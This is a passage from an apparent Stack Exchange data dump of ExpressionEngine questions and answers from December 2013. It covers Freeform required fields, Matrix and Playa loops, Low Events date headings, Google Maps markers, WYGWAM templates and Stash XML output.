value=&quot;{freeform:recipient_value}&quot;&amp;gt;{freeform:recipient_name}&amp;lt;/option&amp;gt;&#xA;        {/freeform:recipients}&#xA;      &amp;lt;/select&amp;gt;&#xA;      {if freeform:error:recipient_email}&#xA;        &amp;lt;span class=&quot;help-block&quot;&amp;gt;Please specify the nature of your enquiry&amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-xs-12 {if freeform:error:name}has-error{/if}&quot;&amp;gt;&#xA;      &amp;lt;label class=&quot;control-label&quot; for=&quot;name&quot;&amp;gt;{freeform:label:name} &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      {freeform:field:name attr:class=&quot;form-control&quot; attr:id=&quot;name&quot;}&#xA;      {if freeform:error:name}&#xA;        &amp;lt;span class=&quot;help-block&quot;&amp;gt;Please enter your name&amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-xs-12 {if freeform:error:email}has-error{/if}&quot;&amp;gt;&#xA;      &amp;lt;label class=&quot;control-label&quot; for=&quot;email&quot;&amp;gt;{freeform:label:email} &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;      {freeform:field:email attr:class=&quot;form-control&quot; attr:id=&quot;email&quot;}&#xA;      {if freeform:error:email}&#xA;        &amp;lt;span class=&quot;help-block&quot;&amp;gt;Please enter your email address&amp;lt;/span&amp;gt;&#xA;      {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-xs-12&quot;&amp;gt;&#xA;      &amp;lt;label class=&quot;control-label&quot; for=&quot;email&quot;&amp;gt;{freeform:label:phone}&amp;lt;/label&amp;gt;&#xA;      {freeform:field:phone attr:class=&quot;form-control&quot; attr:id=&quot;phone&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;col-xs-12 {if freeform:error:message}has-error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;message&quot;&amp;gt;{freeform:label:message} &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        {freeform:field:message attr:class=&quot;form-control&quot; attr:rows=&quot;6&quot; attr:id=&quot;message&quot;}&#xA;        {if freeform:error:message}&#xA;          &amp;lt;span class=&quot;help-block&quot;&amp;gt;Please enter a message&amp;lt;/span&amp;gt;&#xA;        {/if}&#xA;      &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-xs-12&quot;&amp;gt;&#xA;      {freeform:submit attr:class=&quot;btn btn-green&quot; attr:value=&quot;Send&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="2515" LastEditDate="2013-12-19T09:00:41.880" LastActivityDate="2013-12-19T09:00:41.880" Title="Freeform - how can I make the recipients select field required?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17818" PostTypeId="1" CreationDate="2013-12-18T18:06:51.080" Score="3" ViewCount="400" Body="&lt;p&gt;I'm stuck on something that will probably be very easy to resolve but I just don't see it anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using low variable to create the content of a carousel slider. For each slider the information is added in a matrix row. At the end of each row I created a playa field which fetches data from two channels to retrieve their title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The carousel works very well and the different row's are added to the carousel and I can also retrieve the title from the playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the issue I have is that per matrix row iteration playa loops through the total row's which results in that I get all the titles on every slide of the carousel.&#xA;I would like to only get the title of the playa field defined in the matrix row of my current iteration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably a scripting error or I'm not using the tags how they should be used, so if somebody could have a peak that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here below you'll find some screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx,&#xA;Claudio&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sliderBlock&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;flexslider&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;    {exp:low_variables:pair var=&quot;lv_hp_car&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;!--&amp;lt;a href=&quot;http://www.google.com&quot;&amp;gt;--&amp;gt;&#xA;                {exp:ce_img:single src=&quot;{hp_car_item_img}&quot; width=&quot;781&quot; height=&quot;443&quot; alt=&quot;{hp_car_item_title}&quot; crop=&quot;yes&quot;}&#xA;            &amp;lt;!--&amp;lt;/a&amp;gt;...--&amp;gt;&#xA;&#xA;            {if hp_car_item_title != &quot;&quot;}&#xA;            &amp;lt;div class=&quot;flex-caption&quot;&amp;gt;&#xA;                {exp:playa:children var=&quot;playa_test&quot; var_prefix=&quot;hpcar&quot; }&amp;lt;h2&amp;gt;{hpcar:title}&amp;lt;/h2&amp;gt;{/exp:playa:children}&#xA;                {if hp_car_item_type == &quot;Exhibition&quot;}&amp;lt;p class=&quot;date&quot;&amp;gt;{hp_car_item_start_date}  -  {hp_car_item_end_date}&amp;lt;/p&amp;gt;{/if}&#xA;                &amp;lt;p class=&quot;description&quot;&amp;gt;{hp_car_item_intro}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p class=&quot;author&quot;&amp;gt;{hp_car_item_credits}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p class=&quot;imgHeader&quot;&amp;gt;&amp;lt;img src=&quot;image/backgroundTransparant.png&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:low_variables:pair}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;clearFloat&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ojG0d.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kxGYg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1659" LastActivityDate="2013-12-19T22:04:11.127" Title="low variables / playa / matrix" Tags="|matrix|playa|low-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17819" PostTypeId="1" AcceptedAnswerId="17820" CreationDate="2013-12-18T18:21:39.243" Score="2" ViewCount="40" Body="&lt;p&gt;I've added a Relationships field to a Channel, which allows the current entry to be related to another Channel that contains events, however events that are going to take place in the future do not appear in the list of events that are available to link to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can't relate to future dated entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way around this? &lt;/p&gt;&#xA;" OwnerUserId="2496" LastEditorUserId="2496" LastEditDate="2013-12-18T18:33:19.913" LastActivityDate="2013-12-18T18:56:06.973" Title="Relating to future dated entries" Tags="|relationships|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17820" PostTypeId="2" ParentId="17819" CreationDate="2013-12-18T18:56:06.973" Score="4" Body="&lt;p&gt;Make sure that in the settings for your Relationship custom field that you have checked the box for &quot;Include in selection &lt;em&gt;Future entries?&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S2Wbi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-12-18T18:56:06.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17821" PostTypeId="1" AcceptedAnswerId="17822" CreationDate="2013-12-18T19:01:30.850" Score="1" ViewCount="217" Body="&lt;p&gt;We have a channel with events in it, and are utilizing Low Events. The design calls for a list of events, with Month Year as a heading, such as this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;January 2014&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event 1 Details&lt;/li&gt;&#xA;&lt;li&gt;Event 2 Details&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;February 2014&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event 3 Details&lt;/li&gt;&#xA;&lt;li&gt;Event 4 Details&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect I need to compare the month/year of entry i with that of entry i-1; if they're not the same, display the month/year of entry i. What's the best way of doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like EE has a native tag pair for handling this, {date_heading display=&quot;monthly&quot;}, but that appears to be based on the entry_date, and not the value of my Low Events field. It appears that Low Events has the ability to sync the date of the events field with the entry_date, but would prefer to keep them unrelated if possible.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-12-18T19:37:43.647" Title="Display a List of Events with &quot;Month Year&quot; Headers with Low Events" Tags="|events|low-events|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17822" PostTypeId="2" ParentId="17821" CreationDate="2013-12-18T19:08:09.503" Score="4" Body="&lt;p&gt;Try using the &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/fieldtype#first&quot; rel=&quot;nofollow&quot;&gt;:first modifier&lt;/a&gt; to generate those headings.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-18T19:08:09.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17823" PostTypeId="2" ParentId="17821" CreationDate="2013-12-18T19:37:43.647" Score="1" Body="&lt;p&gt;If that's a Stash build, you could simply use &lt;a href=&quot;https://gist.github.com/croxton/6219973&quot; rel=&quot;nofollow&quot;&gt;this method&lt;/a&gt; for ordering entries by month and then by year (or any variation). Used it on a recent build. Works flawlessly.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-12-18T19:37:43.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17825" PostTypeId="2" ParentId="17817" CreationDate="2013-12-18T20:36:10.530" Score="2" Body="&lt;p&gt;Have you tried required=&quot;recipients|name|email|message&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-18T20:36:10.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17826" PostTypeId="1" AcceptedAnswerId="17885" CreationDate="2013-12-18T22:14:28.867" Score="3" ViewCount="416" Body="&lt;p&gt;I've got a directory channel, and each entry has been manually geocoded onto a map with the Google Maps for ExpressionEngine fieldtype. I now want to plot these 1,000 entries onto a single map in the most efficient way, and each category of entry has a different marker (6 categories in total).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using with Google Maps for EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map1&quot; class=&quot;gmap&quot; scrollwheel=&quot;false&quot; style=&quot;width:940px;height:500px&quot; latitude=&quot;35.0000&quot; longitude=&quot;25.0000&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;directory&quot; status=&quot;open&quot; disable=&quot;category_fields|member_data|pagination&quot; limit=&quot;1000&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; search:cf_directory_map_latitude=&quot;not IS_EMPTY&quot;}&#xA;&#xA;  {categories show_group=&quot;2&quot; limit=&quot;1&quot;}&#xA;&#xA;    {cf_directory_map_location id=&quot;map1&quot; show_one_window=&quot;true&quot; icon=&quot;{category_image}&quot; infobox=&quot;true&quot; offsetY=&quot;-35&quot; offsetX=&quot;15&quot; closeBoxMargin=&quot;5px&quot; class=&quot;ui-infobox-dark&quot; closeBoxURL=&quot;/themes/third_party/gmap/css/images/white-close-button.png&quot; style=&quot;width: '300px'&quot; alignBottom=&quot;false&quot; clearanceX=&quot;10&quot; show_one_window=&quot;true&quot; extend_bounds=&quot;false&quot;}&#xA;&#xA;      &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;City: &amp;lt;/strong&amp;gt;{cf_directory_city}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;strong&amp;gt;Type: &amp;lt;/strong&amp;gt;{category_name}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{cf_directory_website}&quot; target=&quot;_blank&quot;&amp;gt;Visit Website &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    {/cf_directory_map_location}&#xA;&#xA;  {/categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works, but I feel that the code it's outputting is bloated when outputting so many entries. Every marker on the map is outputting its own script tag that is 45 lines long. So multiply this by 1,000 entries, and you end up with 1,000 sets of script tags, and 45,000 lines of code, which means that the page can be a few megabytes in size and slow to load, even when using caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more efficient way of plotting entries onto a map with this add-on? Or if not, is there an easy alternative that I can use which makes use of the data I already have for each entry (the Google Maps for EE field, or else the standard latitude/longitude fields)? Thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-09-12T10:55:17.510" Title="Trying to find a more efficient way of plotting lots of markers onto a Google Map" Tags="|channel-entries|google-maps-for-ee|google-maps|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17827" PostTypeId="2" ParentId="17450" CreationDate="2013-12-18T22:43:29.157" Score="1" Body="&lt;p&gt;This is still a known issue, and has not yet been fixed.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-18T22:43:29.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17828" PostTypeId="2" ParentId="17498" CreationDate="2013-12-18T22:47:46.093" Score="1" Body="&lt;p&gt;I just tried this and it seems to work ok for me. Do you have more details you can provide to help me duplicate this issue? Though there was no updates specifically for this in the latest version, I would also upgrade to Freeform 4.1.3 anyway. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, might be best to create a new support ticket:&#xA;&lt;a href=&quot;http://support.solspace.com/&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-18T22:47:46.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17829" PostTypeId="1" CreationDate="2013-12-18T23:24:56.563" Score="2" ViewCount="340" Body="&lt;p&gt;I've successfully used WYGWAM (CK Editor) Styles before but I cannot get the Templates to work. I have a relative path in my WYGWAM settings like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YFvP8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm just getting this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Bl4b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code in my &quot;wygwam_templates.js&quot; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Register a template definition set named &quot;default&quot;.&#xA;CKEDITOR.addTemplates( 'default',&#xA;{&#xA;// The name of the subfolder that contains the preview images of the templates.&#xA;//imagesPath : CKEDITOR.getUrl( CKEDITOR.plugins.getPath( 'templates' ) + 'templates/images/' ),&#xA;&#xA;// Template definitions.&#xA;templates :&#xA;    [&#xA;        {&#xA;            title: 'Insert Location Map',&#xA;            description: 'Using this will add the interactive map to this page',&#xA;            html:&#xA;                '&amp;lt;img src=&quot;/images/layout/locations_map.jpg&quot; usemap=&quot;#locations&quot; /&amp;gt;' +&#xA;                '&amp;lt;map name=&quot;locations&quot; id=&quot;locations&quot;&amp;gt;' +&#xA;                    '&amp;lt;area id=&quot;corporate&quot; shape=&quot;rect&quot; coords=&quot;46,97,170,136&quot; href=&quot;#&quot; /&amp;gt;' +&#xA;                    '&amp;lt;area id=&quot;brazil&quot; shape=&quot;rect&quot; coords=&quot;207,246,257,277&quot; href=&quot;#&quot; /&amp;gt;' +&#xA;                    '&amp;lt;area id=&quot;uruguay&quot; shape=&quot;rect&quot; coords=&quot;202,299,265,324&quot; href=&quot;#&quot; /&amp;gt;' +&#xA;                    '&amp;lt;area id=&quot;germany&quot; shape=&quot;rect&quot; coords=&quot;293,76,354,105&quot; href=&quot;#&quot; /&amp;gt;' +&#xA;                    '&amp;lt;area id=&quot;italy&quot; shape=&quot;rect&quot; coords=&quot;350,102,392,119&quot; href=&quot;#&quot; /&amp;gt;' +&#xA;                    '&amp;lt;area id=&quot;india&quot; shape=&quot;rect&quot; coords=&quot;478,158,524,178&quot; href=&quot;#&quot; /&amp;gt;' +&#xA;                    '&amp;lt;area id=&quot;china&quot; shape=&quot;rect&quot; coords=&quot;551,140,595,163&quot; href=&quot;#&quot; /&amp;gt;' +&#xA;                '&amp;lt;/map&amp;gt;'&#xA;        }&#xA;&#xA;&#xA;    ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love the ideas of the Templates but for the life of me I can't get it to work. Any help would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.72 and Wygwam 3.2.1&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditDate="2013-12-19T16:02:25.567" LastActivityDate="2013-12-19T16:40:41.567" Title="WYGWAM Content Templates Blank" Tags="|wygwam|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17830" PostTypeId="1" CreationDate="2013-12-19T05:04:19.483" Score="1" ViewCount="416" Body="&lt;p&gt;I want disable comment notifications going to the admin everytime a new comment is posted...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't find this setting in the maze that EE is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I turn this off? Where is this setting?&lt;/p&gt;&#xA;" OwnerUserId="569" LastActivityDate="2013-12-20T15:01:16.210" Title="How the Heck do I turn off Comment Notifications?" Tags="|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17831" PostTypeId="2" ParentId="17830" CreationDate="2013-12-19T05:49:32.227" Score="3" Body="&lt;p&gt;You can adjust comment notifications in the particular Channel's preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Administration &gt; Channels &gt; Edit Preferences&lt;/em&gt; (choose the appropriate Channel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then scroll down to &quot;Notification Preferences&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9frn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#notification-preferences&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-20T15:01:16.210" LastActivityDate="2013-12-20T15:01:16.210" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17832" PostTypeId="1" AcceptedAnswerId="17854" CreationDate="2013-12-19T09:27:58.577" Score="2" ViewCount="84" Body="&lt;p&gt;I have a xml template with an embedded stash xml partial. But I'm not getting any output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:viewmodels:categories process=&quot;inline&quot; stash:entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;category_sport_name_ms&amp;gt;&#xA;    {exp:stash:get_list name=&quot;export_categories&quot; match=&quot;#sport#&quot; against=&quot;type&quot;}&#xA;    &amp;lt;str&amp;gt;&amp;lt;![CDATA[{name}]]&amp;gt;&amp;lt;/str&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;    &amp;lt;/category_sport_name_ms&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is my viewmodel categories.xml (also tried html)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;export_categories&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:gwcode_categories group_id=&quot;2&quot; entry_id=&quot;{stash:entry_id}&quot; style=&quot;linear&quot;}&#xA;    {stash:type}sport{/stash:type}&#xA;    {stash:name}{cat_name}{/stash:name}&#xA;    {stash:id}{cat_id}{/stash}&#xA;    {stash:color}{cat_description}{/stash:color}&#xA;    {stash:url}{cat_url_title}{/stash:url}&#xA;{/exp:gwcode_categories}&#xA;{exp:gwcode_categories group_id=&quot;1&quot; entry_id=&quot;{stash:entry_id}&quot; style=&quot;linear&quot;}&#xA;    {stash:type}age{/stash:type}&#xA;    {stash:name}{cat_name}{/stash:name}&#xA;    {stash:id}{cat_id}{/stash:id}&#xA;    {stash:url}{cat_url_title}{/stash:url}&#xA;{/exp:gwcode_categories}&#xA;{exp:gwcode_categories group_id=&quot;3&quot; entry_id=&quot;{stash:entry_id}&quot; style=&quot;linear&quot;}&#xA;    {stash:type}theme{/stash:type}&#xA;    {stash:name}{cat_name}{/stash:name}&#xA;    {stash:id}{cat_id}{/stash:id}&#xA;    {stash:url}{cat_url_title}{/stash:url}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:stash:set_list}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I remove the set list and just enter something like test there is still no output? Is xml unsupported? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2013-12-19T18:30:32.300" Title="Stash output in xml template" Tags="|stash|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17833" PostTypeId="1" CreationDate="2013-12-19T10:35:03.407" Score="2" ViewCount="235" Body="&lt;p&gt;I currently have MSM running 8 sites. Last week I had to create a new site and I experienced a whole host of issues, from addons not working as expected to show stopping database errors. It took 4 goes to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience on running more than 10 sites using MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I might split the main parent site into its own EE but share the content and members with other installations of EE and MSM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any other suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2013-12-19T18:12:59.603" Title="Is there a maximum number of sites you can run off MSM?" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17834" PostTypeId="2" ParentId="17833" CreationDate="2013-12-19T10:40:57.083" Score="1" Body="&lt;p&gt;In short no... but EL has always recommended you keep it below 100. From memory at least. &#xA;Considering the way the channels and fields tables are setup - i am thinking it would hit that database hard pretty hard running too many. So you would probably end up paying for high end hosting as a compromise.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-12-19T10:40:57.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17835" PostTypeId="1" CreationDate="2013-12-19T10:56:05.663" Score="2" ViewCount="1968" Body="&lt;p&gt;is it possible to total count grid from many entries? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say, i have 3 channel entries. Channel 1 entry 1 has 3 grid entries, channel 1 entry 2 has 5 grid entries, channel 1 entry 3 has 7 grid entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should be 15. Also show beside the grid entries the number 1, 2, 3, ... 15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2517" LastActivityDate="2013-12-19T14:16:57.000" Title="Count entries with grid" Tags="|grid|count|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17836" PostTypeId="2" ParentId="17835" CreationDate="2013-12-19T11:03:18.103" Score="1" Body="&lt;p&gt;This can be done a couple of ways.&#xA;1 - manually! enable PHP in the template and doing it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - addon, i have used one before that i cannot quite track down now... but something like TALLY should do the job, try playing over at devot-ee:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/tally&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/tally&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might have even created a simple plugin myself to do this in the past. I truely cannot remember. But there is certainly options out there on devot-ee.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-12-19T11:03:18.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17837" PostTypeId="1" AcceptedAnswerId="17838" CreationDate="2013-12-19T12:59:19.017" Score="3" ViewCount="73" Body="&lt;p&gt;Hopefully someone maybe able to help me with an issue I have recently discovered on a site I'm working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outset is that I'm bringing through report data from a matrix field onto the page. Within said matrix is a field which defines what type of report it is, in my case its Land, Sea or Air. This field is using a radio button fieldtype to distinguish. Now in hindsight I could say use a different matrix field for each report type, but that ship has sailed unfortunately. The data is in a single matrix table and there's no going back. Putting the data into two extra matrix fields would take more time than I need to commit to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I come to display data on page, I open my matrix tag do the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{report_articles}&#xA;&#xA;{if report_type==&quot;Land&quot;}&#xA;&#xA;Show the Land data&#xA;&#xA;{/if}&#xA;&#xA;{/report_articles}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine and the correct data gets pulled through. However on looking at my source code, I have noticed a significant gap in my markup. My assumption is that previous rows are being brought through, their data is just not being displayed. So for example my matrix table may have 5 Land Reports, 5 Sea Reports and 5 Air Reports, and in that order too. If I try to load the Air Reports page (ie, the last few rows), it seems to pull through 10 previous rows before it, and this shows in the source code as a gap and will therefore slow down my page. My question is, Is there an easier way to approach this, or a way to avoid the impact that its having on my source code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice/help is much appreciated&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2013-12-19T14:00:31.950" Title="Matrix: Is there a way to avoid gaps in my source code" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17838" PostTypeId="2" ParentId="17837" CreationDate="2013-12-19T14:00:31.950" Score="4" Body="&lt;p&gt;You can use Matrix's &lt;strong&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;search&lt;/a&gt;&lt;/strong&gt; parameter to return only the rows of interest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{report_articles search:report_type=&quot;=Land&quot;}&#xA;  Show the Land data&#xA;{/report_articles}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-12-19T14:00:31.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
